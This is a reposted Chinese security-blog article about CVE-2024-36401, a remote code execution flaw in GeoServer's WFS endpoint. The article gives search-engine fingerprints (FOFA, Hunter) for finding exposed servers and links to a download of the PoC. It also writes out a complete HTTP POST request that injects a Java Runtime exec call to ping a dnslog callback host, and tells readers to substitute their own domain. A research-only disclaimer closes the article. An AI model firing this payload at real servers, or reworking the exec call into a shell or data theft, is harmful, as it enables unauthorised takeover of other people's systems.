GeoServer前台wfs接口处存在RCE漏洞 poc

admin
admin
admin
138883
文章
114
评论
2024年7月3日13:05:51评论24 views字数 779阅读2分35秒阅读模式
02    漏洞描述

GeoServer是一个开源服务器，用于共享、处理和编辑地理空间数据。它支持多种地图和数据标准，使用户能够通过网络访问和操作地理信息系统（GIS）数据。

GeoServer前台wfs接口存在RCE远程代码执行漏洞(CVE-2024-36401)。

03    测绘查询-系统指纹

 fofa：app="GeoServer"

   鹰图：app.name=="GeoServer"

GeoServer前台wfs接口处存在RCE漏洞 poc

04    漏洞复现 

1、访问漏洞系统

GeoServer前台wfs接口处存在RCE漏洞 poc

2、访构造数据包，访问Dnslog

GeoServer前台wfs接口处存在RCE漏洞 poc

3、查看Dnslog

GeoServer前台wfs接口处存在RCE漏洞 poc

获取漏洞POC

链接: https://pan.baidu.com/s/1MppnudfvYSjzMt1VV5oDtA?pwd=9aiw 提取码: 9aiw

POST /geoserver/wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 336
 
<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping a1b7a5.dnslog.cn -c 1")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
 
 
修改a1b7a5.dnslog.cn为你的dnslog

 

原文始发于微信公众号（安羽安全）：【漏洞复现】GeoServer前台wfs接口处存在RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日13:05:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   GeoServer前台wfs接口处存在RCE漏洞 pochttps://cn-sec.com/archives/2913418.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息